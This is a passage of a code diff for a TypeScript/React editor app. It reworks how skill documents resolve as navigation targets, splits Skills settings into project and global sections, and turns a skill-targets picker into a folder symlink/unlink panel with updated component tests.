+ flavor: SkillPreviewFlavor;
+ source: string;
+ name: string;
+ subtitle: string;
+ level?: SkillScope;
+ /** Selected bundle file within the preview (from the hash) — the FILES list
+ * + a sidebar click share one selection on a single preview tab. */
+ path?: string;
}
| {
kind: 'large-file';
@@ -63,6 +95,34 @@ export type ResolvedNavigationTarget =
target: string;
};
+/**
+ * Everything `resolveNavigationTarget` can yield — the content targets, minus the
+ * synthetic `skills` hub (which is created only from the `#/__skills__` hash, never
+ * resolved from a doc name). Consumers of resolver output narrow to this so they
+ * don't carry an unreachable `skills` case.
+ */
+export type ResolvedContentTarget = Exclude<
+ ResolvedNavigationTarget,
+ { kind: 'skills' | 'skill-preview' }
+>;
+
+/**
+ * `true` when the active target is skill work — the Skills hub, a read-only
+ * bundle-file viewer, or a skill's SKILL.md/reference opened as a plain `doc`
+ * (project skills are content docs under `.ok/skills/`; global skills use the
+ * `__skill__/` managed-artifact name). Drives the sidebar's Files/Skills focus
+ * and the surface a freshly-opened new tab inherits, so both read from one rule.
+ */
+export function isSkillFocusedTarget(target: ResolvedNavigationTarget | null): boolean {
+ if (!target) return false;
+ if (target.kind === 'skills' || target.kind === 'skill-file' || target.kind === 'skill-preview')
+ return true;
+ return (
+ target.kind === 'doc' &&
+ (isSkillDocName(target.docName) || isSkillBundleShapedPath(target.docName))
+ );
+}
+
interface DocumentSizeMeta {
size?: number;
}
@@ -173,7 +233,7 @@ function okReadOnlyAssetPath(docName: string, docExt?: string): string {
export function okContentNavigationTarget(
docName: string,
options: { pages: ReadonlySet<string>; docExt?: string },
-): ResolvedNavigationTarget | null {
+): ResolvedContentTarget | null {
if (!hasOkPathSegment(docName)) return null;
const artifactDocName = managedArtifactDocNameFromContentTarget(docName);
if (artifactDocName) {
@@ -203,33 +263,21 @@ export function resolveNavigationTarget(
pagesBySlug?: ReadonlyMap<string, string>;
pagesByBasename?: ReadonlyMap<string, string>;
},
-): ResolvedNavigationTarget {
+): ResolvedContentTarget {
// Managed-artifact docs (skills/templates) are real docs addressed by their
// exact synthetic name, but they live OUTSIDE the page list — so the
// membership checks below would mark them 'missing'. Resolve them directly as
// a doc target so every consumer (hash nav, graph, links) treats them as real
// instead of broken/uncreated.
if (isManagedArtifactDocName(target)) {
- // A GLOBAL skill bundle REFERENCE graph node (`__skill__/global/<name>/
- // references/<rel>`) is not an editor doc — it lives at `~/.ok/skills/`,
- // outside the project, and opens read-only in the skill-file viewer. Resolve
- // it to a `skill-file` target so a graph click routes there instead of a
- // phantom doc tab. The node name is ext-less (content-doc style); global
- // bundle nodes are `.md` references by construction, so reconstruct the
- // on-disk path the scope-aware `/api/skill-file` endpoint reads. The global
- // SKILL doc itself (`kind: 'skill'`) keeps opening as a normal editor tab and
- // falls through below.
- const globalBundle = parseGlobalSkillBundleDoc(target);
- if (globalBundle?.kind === 'reference') {
- const path = `references/${globalBundle.rel}.md`;
- return {
- kind: 'skill-file',
- target: `global/${globalBundle.name}/${path}`,
- scope: 'global',
- name: globalBundle.name,
- path,
- };
- }
+ // A GLOBAL skill bundle `.md` REFERENCE (`__skill__/global/<name>/
+ // references/<rel>`) is an EDITABLE managed-artifact live doc (the per-file
+ // skill-editability feature), backed by `<home>/.ok/skills/<name>/<rel>.md`
+ // via `managedArtifactAbsPath`. It falls through to the `{kind: 'doc'}`
+ // return below so a graph click / tree open lands in the editor, not the
+ // read-only skill-file viewer. Scripts + binary are not `__skill__/...` docs
+ // (they open through the skill-file viewer directly), so only editable `.md`
+ // references reach here.
// A project skill is a CONTENT doc (`.ok/skills/<name>/SKILL`), never the
// synthetic `__skill__/project/<name>`. A stale deep-link / bookmark in that
// dead form must redirect to the live content doc rather than open a phantom
@@ -241,6 +289,19 @@ export function resolveNavigationTarget(
}
return { kind: 'doc', target, docName: target };
}
+ // A PROJECT skill's SKILL.md content doc (`.ok/skills/<name>/SKILL`) is a real
+ // editable skill doc, addressed STRUCTURALLY — resolve it directly without
+ // page-index membership. A freshly created/imported project skill lags the
+ // index by the async `files` refetch; falling through to the pages-dependent
+ // resolution below would (transiently) route it to the read-only asset viewer,
+ // which strands the editor AND flips the sidebar to Files (an asset target is
+ // not skill-focused, so `skillFocused` resolves false). Global skills use the
+ // `__skill__/…` managed-artifact name (handled above); this is the project-scope
+ // counterpart. Once the index catches up the pages branch resolves to the same
+ // `{kind:'doc'}`, so this only removes the transient-strand window.
+ if (parseProjectSkillContentDocName(target)) {
+ return { kind: 'doc', target, docName: target };
+ }
// A doc that links to a skill/template by its on-disk file path
// (`.ok/skills/<name>/SKILL`, `<folder>/.ok/templates/<name>`) resolves to the
// managed-artifact doc, so clicking the link opens the artifact editor instead
@@ -404,6 +465,8 @@ export function docNameForNavigationTarget(target: ResolvedNavigationTarget): st
return target.target;
case 'asset':
case 'skill-file':
+ case 'skills':
+ case 'skill-preview':
case 'folder':
return null;
}
diff --git a/packages/app/src/components/settings/SettingsDialogBody.tsx b/packages/app/src/components/settings/SettingsDialogBody.tsx
index 97ac4765a..431f9ebff 100644
--- a/packages/app/src/components/settings/SettingsDialogBody.tsx
+++ b/packages/app/src/components/settings/SettingsDialogBody.tsx
@@ -166,7 +166,10 @@ export function SettingsDialogBody({
return <ProjectTemplatesSection />;
}
if (activeId === 'skills') {
- return <SkillsManagerSection />;
+ return <SkillsManagerSection scope="project" />;
+ }
+ if (activeId === 'user-skills') {
+ return <SkillsManagerSection scope="global" />;
}
if (activeId === 'sharing') {
return <SharingSection />;
diff --git a/packages/app/src/components/settings/SettingsDialogShell.tsx b/packages/app/src/components/settings/SettingsDialogShell.tsx
index 6e7af720b..6ae91b021 100644
--- a/packages/app/src/components/settings/SettingsDialogShell.tsx
+++ b/packages/app/src/components/settings/SettingsDialogShell.tsx
@@ -216,6 +216,9 @@ export function SettingsDialogShell({
{ id: 'account', label: t`Account` },
// User-scope plugin management (toggle personal plugins like Themes).
{ id: 'user-plugins-manage', label: t`Plugins` },
+ // GLOBAL skill folders (user-home skills roots) — the user-scope half
+ // of the Skills surface; project folders live under This project.
+ { id: 'user-skills', label: t`Skills` },
// Machine-level OK footprint (per-editor MCP entries, Agent Skills,
// the ok PATH command) — user-scoped, and desktop-only because the
// install actors live in the Electron main process.
diff --git a/packages/app/src/components/settings/SkillTargetsPicker.dom.test.tsx b/packages/app/src/components/settings/SkillTargetsPicker.dom.test.tsx
index 4f4fe92f3..46b5fb71f 100644
--- a/packages/app/src/components/settings/SkillTargetsPicker.dom.test.tsx
+++ b/packages/app/src/components/settings/SkillTargetsPicker.dom.test.tsx
@@ -1,25 +1,23 @@
/**
- * RTL behavioral tests for the skill-targets picker.
- *
- * Asserts the picker renders one checkbox per project-skill editor reflecting
- * the committed set, and that toggling an editor PUTs the updated target set
- * to `/api/skill-targets`.
+ * RTL behavioral tests for the per-scope Folders surface. The machine-wide
+ * install-mode toggle and the project-wide editor-target picker are both
+ * retired — this section renders ONLY the folder rows with their observable
+ * state and the SYMLINK (explicit pick) / UNLINK verbs.
*/
-import * as actualLinguiMacro from '@lingui/react/macro';
-import { cleanup, fireEvent, render, screen, waitFor } from '@testing-library/react';
+import { cleanup, render, screen, waitFor } from '@testing-library/react';
+import userEvent from '@testing-library/user-event';
import type { ReactNode } from 'react';
import { afterEach, describe, expect, test, vi } from 'vitest';
vi.doMock('@lingui/react/macro', () => ({
- ...actualLinguiMacro,
Trans: ({ children }: { children: ReactNode }) => children,
useLingui: () => ({
t: (strings: TemplateStringsArray | string, ...values: unknown[]) => {
if (typeof strings === 'string') return strings;
let out = '';
- strings.forEach((s, i) => {
- out += s;
+ strings.forEach((sPart, i) => {
+ out += sPart;
if (i < values.length) out += String(values[i]);
});
return out;
@@ -39,57 +37,89 @@ afterEach(() => {
global.fetch = realFetch;
});
-describe('SkillTargetsPicker', () => {
- test('renders a checkbox per editor reflecting the committed set', async () => {
+const FOLDERS_PAYLOAD = {
+ targets: ['claude'],
+ configured: false,
+ folders: [
+ { scope: 'project', host: 'claude', root: '.claude/skills', state: 'own' },
+ {
+ scope: 'project',
+ host: 'codex',
+ root: '.codex/skills',
+ state: 'linked',
+ target: '.agents/skills',
+ },
+ { scope: 'project', host: 'agents', root: '.agents/skills', state: 'own' },
+ { scope: 'global', host: 'claude', root: '.claude/skills', state: 'absent' },
+ ],
+};
+
+describe('SkillTargetsPicker (folders)', () => {
+ test("renders ONLY this scope's folder rows with state + verbs; no toggles", async () => {
global.fetch = vi.fn(async () => ({
ok: true,
status: 200,
- json: async () => ({ targets: ['claude'], configured: true }),
+ json: async () => FOLDERS_PAYLOAD,
})) as unknown as typeof fetch;
- render(<SkillTargetsPicker />);
+ render(<SkillTargetsPicker scope="project" />);
- await waitFor(() => expect(screen.getByTestId('skill-target-claude')).toBeDefined());
- // claude is in the set → checked; cursor/codex are not.
- expect(screen.getByTestId('skill-target-claude').getAttribute('aria-checked')).toBe('true');
- expect(screen.getByTestId('skill-target-cursor').getAttribute('aria-checked')).toBe('false');
- expect(screen.getByTestId('skill-target-codex')).toBeDefined();
+ await waitFor(() => expect(screen.getByTestId('skill-folder-row-claude')).toBeDefined());
+ // `.codex` is a symlink to `.agents`, so it is a READER of that folder, not a
+ // peer: it nests under its target instead of taking a row. Rows are the
+ // folders that own skills — `.claude` and `.agents`. The global-scope row
+ // stays off the project page (scope split).
+ expect(screen.getAllByTestId(/^skill-folder-row-/)).toHaveLength(2);
+ expect(screen.queryByTestId('skill-folder-row-codex')).toBeNull();
+ const agentsFollowers = screen.getByTestId('skill-folder-followers-agents');
+ expect(agentsFollowers.textContent).toContain('.codex/skills');
+ // A symlinked folder keeps UNLINK where it now lives — nested under its
+ // target — and a real folder offers the SYMLINK picker.
+ expect(agentsFollowers.contains(screen.getByTestId('skill-folder-unlink-codex'))).toBe(true);
+ expect(screen.getByTestId('skill-folder-link-claude')).toBeDefined();
+ // Retired controls are GONE.
+ expect(screen.queryByTestId('skill-install-mode-user')).toBeNull();
+ expect(screen.queryByTestId('skill-install-mode-project')).toBeNull();
+ expect(screen.queryByTestId('skill-target-claude')).toBeNull();
});
- test('toggling an editor PUTs the updated target set', async () => {
- const calls: Array<{ url: string; method?: string; body?: string }> = [];
- global.fetch = vi.fn(async (input: RequestInfo | URL, init?: RequestInit) => {
- const url = typeof input === 'string' ? input : input.toString();
- calls.push({ url, method: init?.method, body: init?.body as string | undefined });
- if (init?.method === 'PUT') {
- return {
- ok: true,
- status: 200,
- json: async () => ({
- targets: ['claude', 'cursor'],
- reprojected: [],
- bundleHosts: [],
- removedFrom: [],
- }),
- };
- }
- return {
- ok: true,
- status: 200,
- json: async () => ({ targets: ['claude'], configured: true }),
- };
+ test('the row you act on survives; the folder you pick becomes the symlink', async () => {
+ const calls: Array<Record<string, unknown>> = [];
+ global.fetch = vi.fn(async (_url: unknown, init?: { body?: string }) => {
+ if (init?.body) calls.push(JSON.parse(init.body).folderAction);
+ return { ok: true, status: 200, json: async () => FOLDERS_PAYLOAD };
}) as unknown as typeof fetch;
- render(<SkillTargetsPicker />);
- await waitFor(() => expect(screen.getByTestId('skill-target-cursor')).toBeDefined());
+ render(<SkillTargetsPicker scope="project" />);
+ await waitFor(() => expect(screen.getByTestId('skill-folder-link-claude')).toBeDefined());
+
+ await userEvent.click(screen.getByTestId('skill-folder-link-claude'));
+ await userEvent.click(await screen.findByTestId('skill-folder-link-claude-to-.agents/skills'));
+
+ // `.agents` was PICKED, so `.agents` is the one that merges in and becomes
+ // the symlink; the clicked `.claude` row stays the real folder. Running it
+ // the other way round was the inverted direction people read backwards.
+ await waitFor(() => expect(calls).toHaveLength(1));
+ expect(calls[0]).toMatchObject({
+ action: 'link',
+ root: '.agents/skills',
+ target: '.claude/skills',
+ });
+ });
+
+ test('a folder that is already a symlink is not offered as a pick', async () => {
+ global.fetch = vi.fn(async () => ({
+ ok: true,
+ status: 200,
+ json: async () => FOLDERS_PAYLOAD,
+ })) as unknown as typeof fetch;
- fireEvent.click(screen.getByTestId('skill-target-cursor'));
+ render(<SkillTargetsPicker scope="project" />);
+ await waitFor(() => expect(screen.getByTestId('skill-folder-link-claude')).toBeDefined());
+ await userEvent.click(screen.getByTestId('skill-folder-link-claude'));
- await waitFor(() => expect(calls.some((c) => c.method === 'PUT')).toBe(true));
- const put = calls.find((c) => c.method === 'PUT');
- expect(put).toBeDefined();
- const sent = JSON.parse(put?.body ?? '{}') as { targets: string[] };
- // The new set unions the existing committed target with the toggled-on one.
- expect(new Set(sent.targets)).toEqual(new Set(['claude', 'cursor']));
+ // `.codex` is already linked into `.agents` — picking it could only fail.
+ expect(await screen.findByTestId('skill-folder-link-claude-to-.agents/skills')).toBeDefined();
+ expect(screen.queryByTestId('skill-folder-link-claude-to-.codex/skills')).toBeNull();
});
});
diff --git a/packages/app/src/components/settings/SkillTargetsPicker.tsx b/packages/app/src/components/settings/SkillTargetsPicker.tsx
index 6d48aba81..06c75e8f2 100644
--- a/packages/app/src/components/settings/SkillTargetsPicker.tsx
+++ b/packages/app/src/components/settings/SkillTargetsPicker.tsx
@@ -1,104 +1,270 @@
-import {
- EDITOR_LABELS,
- PROJECT_SKILL_EDITOR_IDS,
- type SkillTargetEditor,
-} from '@inkeep/open-knowledge-core';
+import type { SkillScope } from '@inkeep/open-knowledge-core';
import { Trans, useLingui } from '@lingui/react/macro';
+import { useState } from 'react';
import { toast } from 'sonner';
-import { Checkbox } from '@/components/ui/checkbox';
-import { Label } from '@/components/ui/label';
+import { AgentBrandIcon } from '@/components/AgentIconCluster';
+import { ChangedOutsideBadge } from '@/components/ChangedOutsideBadge';
+import { Button } from '@/components/ui/button';
+import {
+ DropdownMenu,
+ DropdownMenuContent,
+ DropdownMenuItem,
+ DropdownMenuTrigger,
+} from '@/components/ui/dropdown-menu';
+import { Input } from '@/components/ui/input';
import { Skeleton } from '@/components/ui/skeleton';
import { useSkillTargets } from '@/hooks/use-skill-targets';
/**
- * Project-wide picker for the skill-target editor set (`.ok/skill-targets.json`).
- * Toggling an editor persists the new set and re-projects every managed skill
- * (authored + OK's shipped `open-knowledge` bundle) into / out of that editor's
- * skill folder. Lives at the top of the Skills manager because it governs where
- * *every* skill in the project installs, not any single one.
+ * The per-scope FOLDERS surface: every host skills folder at this scope with its
+ * observable state, and the two folder verbs — SYMLINK (pick another folder; it
+ * merges into THIS one and becomes a symlink to it, so its agent reads
+ * everything placed here; conflicts abort) and UNLINK (materialize back to
+ * per-skill symlinks — lossless, the per-skill menus take over).
*
- * `configured` distinguishes an explicit committed set from one detected from
- * the project's configured editors — the copy makes that visible so the user
- * knows whether they're overriding a default or confirming it.
+ * Direction is "the row you act on survives". Acting on `.claude` and picking
+ * `.cursor` leaves `.claude` a real folder and turns `.cursor` into a symlink to
+ * it. It used to run the other way — the row you clicked became the symlink —
+ * which read backwards against the arrow the row then drew, and left people
+ * believing the folder they had just picked was the one that survived.
*/
-export function SkillTargetsPicker() {
+export function SkillTargetsPicker({ scope }: { scope: SkillScope }) {
const { t } = useLingui();
- const { state, save, saving } = useSkillTargets();
- const headingId = 'settings-skill-targets-heading';
+ const { state, saving, folderAction } = useSkillTargets();
+ const [newRoot, setNewRoot] = useState('');
- // Only editors that have a project skill surface can be targets (claude /
- // cursor / codex — claude-desktop has no project skill dir).
- const editors = PROJECT_SKILL_EDITOR_IDS as readonly SkillTargetEditor[];
+ const folders =
+ state.status === 'ready' ? (state.data.folders ?? []).filter((f) => f.scope === scope) : [];
- const selected = state.status === 'ready' ? new Set(state.data.targets) : new Set<string>();
+ // Group by the folder that SURVIVES. A symlinked folder is not a peer of its
+ // target — it is a reader of it — so it nests under the target rather than
+ // taking a row of its own. Drawn flat, the arrow put the follower on the left
+ // and the source on the right, which reads as "`.claude` owns these skills"
+ // when the truth is the reverse.
+ const byRoot = new Map(folders.map((f) => [f.root, f]));
+ const isFollower = (f: (typeof folders)[number]): boolean =>
+ (f.state === 'linked' || f.state === 'linked-parent') &&
+ typeof f.target === 'string' &&
+ byRoot.has(f.target);
+ const followers = new Map<string, typeof folders>();
+ for (const f of folders) {
+ if (!isFollower(f)) continue;
+ const target = f.target as string;
+ followers.set(target, [...(followers.get(target) ?? []), f]);
+ }
+ // A follower whose target is NOT one of these rows (an out-of-scope or
+ // vanished path) keeps its own row — otherwise it would disappear from the
+ // list entirely and its unlink verb with it.
+ const rows = folders.filter((f) => !isFollower(f));
- const toggle = async (id: SkillTargetEditor, next: boolean) => {
- if (state.status !== 'ready') return;
- const set = new Set(state.data.targets);
- if (next) set.add(id);
- else set.delete(id);
- try {
- await save([...set]);
- } catch (err) {
- toast.error(
- t`Couldn't update skill targets: ${err instanceof Error ? err.message : String(err)}`,
- );
- }
+ const runFolderAction = (root: string, action: 'link' | 'unlink', target?: string) => {
+ void folderAction({ scope, root, action, ...(target !== undefined ? { target } : {}) }).catch(
+ (err) => toast.error(err instanceof Error ? err.message : String(err)),
+ );
};
return (
<section
- aria-labelledby={headingId}
className="space-y-2 rounded-lg border bg-card p-3"
- data-testid="settings-skill-targets"
+ data-testid="settings-skill-folders"
>
<div>
- <h4 id={headingId} className="text-sm font-medium">
- <Trans>Install skills into</Trans>
+ <h4 className="text-sm font-medium">
+ <Trans>Folders</Trans>
</h4>
<p className="text-1sm text-muted-foreground">
- {state.status === 'ready' && !state.data.configured ? (
- <Trans>
- Detected from the editors this project is set up for. Adjust to control where every
- skill installs.
- </Trans>
- ) : (
- <Trans>Choose which editors every skill in this project installs into.</Trans>
- )}
+ <Trans>
+ Symlink another folder into one of these so both agents read the same skills; unlink to
+ manage a folder's skills one by one again.
+ </Trans>
</p>
</div>
-
{state.status === 'error' ? (
<div className="text-1sm text-destructive" role="alert" data-testid="skill-targets-error">
- <Trans>Failed to load skill targets: {state.message}</Trans>
+ <Trans>Failed to load skill settings: {state.message}</Trans>
</div>
- ) : state.status === 'idle' || state.status === 'loading' ? (
+ ) : state.status !== 'ready' ? (
<div className="space-y-2 pt-1">
- <Skeleton className="h-5 w-40" />
- <Skeleton className="h-5 w-40" />
+ <Skeleton className="h-5 w-56" />
+ <Skeleton className="h-5 w-56" />
</div>
) : (
- <fieldset className="flex flex-col gap-2 pt-1" disabled={saving}>
- <legend className="sr-only">
- <Trans>Editors to install skills into</Trans>
- </legend>
- {editors.map((id) => {
- const inputId = `skill-target-${id}`;
+ <ul className="space-y-1 pt-1">
+ {rows.map((f) => {
+ const display = scope === 'global' ? `~/${f.root}` : f.root;
+ const following = followers.get(f.root) ?? [];
+ // Offerable: every OTHER root at this scope that can still BECOME a
+ // symlink to this one. A folder that is already a symlink (its own,
+ // or a parent's) has nothing left to merge and was the "why is that
+ // still in the list" bug — picking it could only fail. Order is list
+ // order: no name-based promotion of any root.
+ const targets = folders.filter(
+ (o) => o.root !== f.root && (o.state === 'own' || o.state === 'absent'),
+ );
return (
- <Label key={id} htmlFor={inputId} className="text-sm font-normal">
- <Checkbox
- id={inputId}
- checked={selected.has(id)}
- onCheckedChange={(next) => toggle(id, next === true)}
- disabled={saving}
- data-testid={`skill-target-${id}`}
- />
- <span>{EDITOR_LABELS[id]}</span>
- </Label>
+ <li key={f.host} className="text-sm" data-testid={`skill-folder-row-${f.host}`}>
+ <div className="flex items-center gap-2">
+ <AgentBrandIcon host={f.host} aria-hidden className="size-4 shrink-0" />
+ <span className="min-w-0 flex-1 truncate font-mono text-xs">
+ {display}
+ {/* Only reachable for a follower whose target left the list —
+ an ordinary follower nests under its target instead. */}
+ {f.state === 'linked' || f.state === 'linked-parent' ? (
+ <span className="text-muted-foreground"> → {f.target ?? '?'}</span>
+ ) : null}
+ </span>
+ {f.drift ? (
+ // PASSIVE disclosure, same doctrine as skill-level drift:
+ // something outside OK rewrote this folder since OK set it.
+ // No action here — the next explicit Symlink/Unlink wins.
+ <ChangedOutsideBadge
+ testId={`skill-folder-drift-${f.host}`}
+ title={t`OK last set this folder to ${f.expected ?? ''} — something outside OK changed it since. The state shown is what's on disk now; your next Symlink/Unlink wins.`}
+ />
+ ) : null}
+ {f.state === 'absent' ? (
+ <span className="shrink-0 text-[10px] text-muted-foreground uppercase tracking-wide">
+ <Trans>absent</Trans>
+ </span>
+ ) : null}
+ {f.state === 'linked-parent' ? (
+ <span
+ className="shrink-0 text-[10px] text-muted-foreground uppercase tracking-wide"
+ title={t`A parent directory is the symlink — unlink that folder itself to take this one back.`}
+ >
+ <Trans>symlinked via parent</Trans>
+ </span>
+ ) : null}
+ {(f.state === 'own' || f.state === 'absent') && targets.length > 0 ? (
+ <DropdownMenu>
+ <DropdownMenuTrigger asChild>
+ <Button
+ size="sm"
+ variant="ghost"
+ disabled={saving}
+ className="h-5 shrink-0 rounded border border-border/60 px-1 font-normal text-[10px] uppercase tracking-wide text-muted-foreground hover:text-foreground"
+ title={t`Pick a folder to merge INTO ${display}. That folder becomes a symlink to this one, so its agent reads everything placed here. This folder stays real. Conflicting skills abort the merge.`}
+ data-testid={`skill-folder-link-${f.host}`}
+ >
+ <Trans>symlink</Trans>
+ </Button>
+ </DropdownMenuTrigger>
+ {/* Size to the widest item, not the tiny trigger: the base
+ content width is the trigger width, which clipped the mono
+ editor-root paths (e.g. `~/.cursor/skills`). */}
+ <DropdownMenuContent align="end" className="w-auto">
+ {targets.map((o) => (
+ <DropdownMenuItem
+ key={o.root}
+ // THIS row survives: the PICKED folder is the one that
+ // merges in and becomes the symlink.
+ onSelect={() => runFolderAction(o.root, 'link', f.root)}
+ data-testid={`skill-folder-link-${f.host}-to-${o.root}`}
+ >
+ <AgentBrandIcon host={o.host} aria-hidden className="size-4" />
+ <span className="font-mono text-xs">
+ {scope === 'global' ? `~/${o.root}` : o.root}
+ </span>
+ </DropdownMenuItem>
+ ))}
+ </DropdownMenuContent>
+ </DropdownMenu>
+ ) : null}
+ {f.state === 'linked' ? (
+ <Button
+ size="sm"
+ variant="ghost"
+ disabled={saving}
+ className="h-5 shrink-0 rounded border border-border/60 px-1 font-normal text-[10px] uppercase tracking-wide text-muted-foreground hover:text-foreground"
+ title={t`Turn ${display} back into a real directory holding a per-skill symlink for each skill it currently sees — nothing stops working, and each skill's menu manages it from there.`}
+ onClick={() => runFolderAction(f.root, 'unlink')}
+ data-testid={`skill-folder-unlink-${f.host}`}
+ >
+ <Trans>unlink</Trans>
+ </Button>
+ ) : null}
+ </div>
+ {/* Folders that read THIS one. They are readers, not peers, so
+ they sit under the folder that owns the skills — and each
+ keeps its own unlink, which is the verb that gives it back. */}
+ {following.length > 0 ? (
+ <ul
+ className="mt-1 ml-2 space-y-1 border-border/60 border-l pl-3"
+ data-testid={`skill-folder-followers-${f.host}`}
+ >
+ {following.map((o) => (
+ <li key={o.host} className="flex items-center gap-2">
+ <AgentBrandIcon host={o.host} aria-hidden className="size-4 shrink-0" />
+ <span className="min-w-0 flex-1 truncate font-mono text-muted-foreground text-xs">
+ {scope === 'global' ? `~/${o.root}` : o.root}
+ </span>
+ {o.drift ? (
+ <ChangedOutsideBadge
+ testId={`skill-folder-drift-${o.host}`}
+ title={t`OK last set this folder to ${o.expected ?? ''} — something outside OK changed it since. The state shown is what's on disk now; your next Symlink/Unlink wins.`}
+ />
+ ) : null}
+ {o.state === 'linked-parent' ? (
+ <span
+ className="shrink-0 text-[10px] text-muted-foreground uppercase tracking-wide"
+ title={t`A parent directory is the symlink — unlink that folder itself to take this one back.`}
+ >
+ <Trans>via parent</Trans>
+ </span>
+ ) : (
+ <Button
+ size="sm"
+ variant="ghost"
+ disabled={saving}
+ className="h-5 shrink-0 rounded border border-border/60 px-1 font-normal text-[10px] text-muted-foreground uppercase tracking-wide hover:text-foreground"
+ title={t`Turn ${scope === 'global' ? `~/${o.root}` : o.root} back into a real directory holding a per-skill symlink for each skill it currently sees — nothing stops working, and each skill's menu manages it from there.`}
+ onClick={() => runFolderAction(o.root, 'unlink')}
+ data-testid={`skill-folder-unlink-${o.host}`}
+ >
+ <Trans>unlink</Trans>
+ </Button>
+ )}
+ </li>
+ ))}
+ </ul>
+ ) : null}
+ </li>
);
})}
- </fieldset>
+ </ul>
)}
+ {/* Declare a NEW custom root — it becomes a row + link target from
+ declaration (no first placement needed). No root is privileged. */}
+ <form
+ className="flex items-center gap-2 pt-1"
+ onSubmit={(e) => {
+ e.preventDefault();
+ const trimmed = newRoot.trim().replace(/^~\//, '');
+ if (trimmed === '') return;
+ void folderAction({ scope, root: trimmed, action: 'add-root' })
+ .then(() => setNewRoot(''))
+ .catch((err) => toast.error(err instanceof Error ? err.message : String(err)));
+ }}
+ data-testid="skill-folders-add-root"
+ >
+ <Input
+ value={newRoot}
+ onChange={(e) => setNewRoot(e.target.value)}
+ placeholder={scope === 'global' ? t`~/.myteam/skills` : t`.myteam/skills`}
+ className="h-7 flex-1 font-mono text-xs"
+ disabled={saving}
+ data-testid="skill-folders-add-root-input"
+ />
+ <Button
+ type="submit"
+ size="sm"
+ variant="secondary"
+ disabled={saving || newRoot.trim() === ''}
+ className="h-7 px-2 font-normal text-xs"
+ >
+ <Trans>Add custom path</Trans>
+ </Button>
+ </form>
</section>
);
}
diff --git a/packages/app/src/components/settings/SkillsManagerSection.dom.test.tsx b/packages/app/src/components/settings/SkillsManagerSection.dom.test.tsx
index e1b73786c..996cc7ff2 100644
--- a/packages/app/src/components/settings/SkillsManagerSection.dom.test.tsx
+++ b/packages/app/src/components/settings/SkillsManagerSection.dom.test.tsx
@@ -1,24 +1,20 @@
/**
* RTL behavioral tests for the Settings Skills manager.
*
- * Mocks `/api/skills` and asserts the grouped list renders each scope's
- * skills with the right install-state badge (Installed vs Draft) and host
- * chips, that the global group is hidden while empty, and that a
- * fetch failure surfaces the error alert instead of a permanently-spinning
- * skeleton.
+ * The settings surface is now just the install-targets picker — authoring
+ * (New / Import) and browsing authored skills live in the editor's Skills
+ * sidebar. These tests pin that the section + picker render and none of the
+ * removed authoring/listing chrome comes back.
*
* Lingui macros aren't transformed in this substrate — stub to identity
* renderers, same as the sibling .dom.test.tsx files.
*/
-import type { SkillsListSuccess } from '@inkeep/open-knowledge-core';
-import * as actualLinguiMacro from '@lingui/react/macro';
import { cleanup, render, screen, waitFor } from '@testing-library/react';
import type { ReactNode } from 'react';
import { afterEach, describe, expect, test, vi } from 'vitest';
vi.doMock('@lingui/react/macro', () => ({
- ...actualLinguiMacro,
Trans: ({ children }: { children: ReactNode }) => children,
useLingui: () => ({
t: (strings: TemplateStringsArray | string, ...values: unknown[]) => {
@@ -36,17 +32,6 @@ vi.doMock('@lingui/react/macro', () => ({
vi.doMock('sonner', () => ({
toast: { error: vi.fn(() => {}), info: vi.fn(() => {}), success: vi.fn(() => {}) },
}));
-// The row's "Open with AI" menu pulls config / workspace / install-detection
-// context this section test doesn't provide; stub it (handoff is covered by
-// its own tests + useHandoffDispatch.test.ts).
-vi.doMock('@/components/handoff/OpenInAgentMenu', () => ({
- OpenInAgentMenu: () => null,
-}));
-// The section opens skills as editor tabs via DocumentContext; this list test
-// renders the section standalone (no provider), so stub the open hook.
-vi.doMock('@/editor/DocumentContext', () => ({
- useDocumentContext: () => ({ openDocument: () => {} }),
-}));
const { SkillsManagerSection } = await import('./SkillsManagerSection');
@@ -58,110 +43,33 @@ afterEach(() => {
const EMPTY_TARGETS = { targets: [], configured: false };
-/**
- * Route by URL: the section mounts both the skills list (`/api/skills`) and the
- * targets picker (`/api/skill-targets`). The targets response is held constant
- * across these tests — they assert the skills list, not the picker.
- */
-function routeFetch(
- skillsResponse: () => { ok: boolean; status: number; json: () => Promise<unknown> },
-) {
- global.fetch = vi.fn(async (input: RequestInfo | URL) => {
- const url = typeof input === 'string' ? input : input.toString();
- if (url.includes('/api/skill-targets')) {
- return { ok: true, status: 200, json: async () => EMPTY_TARGETS };
- }
- return skillsResponse();
- }) as unknown as typeof fetch;
-}
-
-function mockSkillsResponse(payload: SkillsListSuccess) {
- routeFetch(() => ({ ok: true, status: 200, json: async () => payload }));
-}
-
-function mockSkillsFailure() {
- routeFetch(() => ({ ok: false, status: 500, json: async () => ({ title: 'Internal error' }) }));
+// The section only mounts the targets picker (`/api/skill-targets`) now — hold
+// its response constant; these tests assert what renders, not the picker itself.
+function mockTargets() {
+ global.fetch = vi.fn(async () => ({
+ ok: true,
+ status: 200,
+ json: async () => EMPTY_TARGETS,
+ })) as unknown as typeof fetch;
}
describe('SkillsManagerSection', () => {
- test('lists project skills with install-state and host badges', async () => {
- mockSkillsResponse({
- skills: [
- {
- name: 'trip-log',
- description: 'Log a trip',
- scope: 'project',
- path: '.ok/skills/trip-log/SKILL.md',
- installed: true,
- hosts: ['claude', 'cursor'],
- },
- {
- name: 'draft-skill',
- scope: 'project',
- path: '.ok/skills/draft-skill/SKILL.md',
- installed: false,
- hosts: [],
- },
- ],
- truncated: false,
- });
-
- render(<SkillsManagerSection />);
-
- await waitFor(() => expect(screen.getByTestId('skill-row-trip-log')).toBeDefined());
-
- // Installed skill: Installed badge + one chip per host dir.
- const installedRow = screen.getByTestId('skill-row-trip-log');
- expect(installedRow.textContent).toContain('Installed');
- expect(installedRow.textContent).toContain('claude');
- expect(installedRow.textContent).toContain('cursor');
-
- // Never-installed skill: Draft badge, and a nudge to add a description.
- const draftRow = screen.getByTestId('skill-row-draft-skill');
- expect(draftRow.textContent).toContain('Draft');
- expect(draftRow.textContent?.toLowerCase()).toContain('description');
-
- // Project group renders; global group is hidden while it has no skills.
- expect(screen.getByTestId('skills-group-project')).toBeDefined();
- expect(screen.queryByTestId('skills-group-global')).toBeNull();
- });
-
- test('renders the project empty state when there are no skills', async () => {
- mockSkillsResponse({ skills: [], truncated: false });
- render(<SkillsManagerSection />);
- await waitFor(() => expect(screen.getByTestId('skills-group-project-empty')).toBeDefined());
- expect(screen.queryByTestId('skills-group-global')).toBeNull();
- });
-
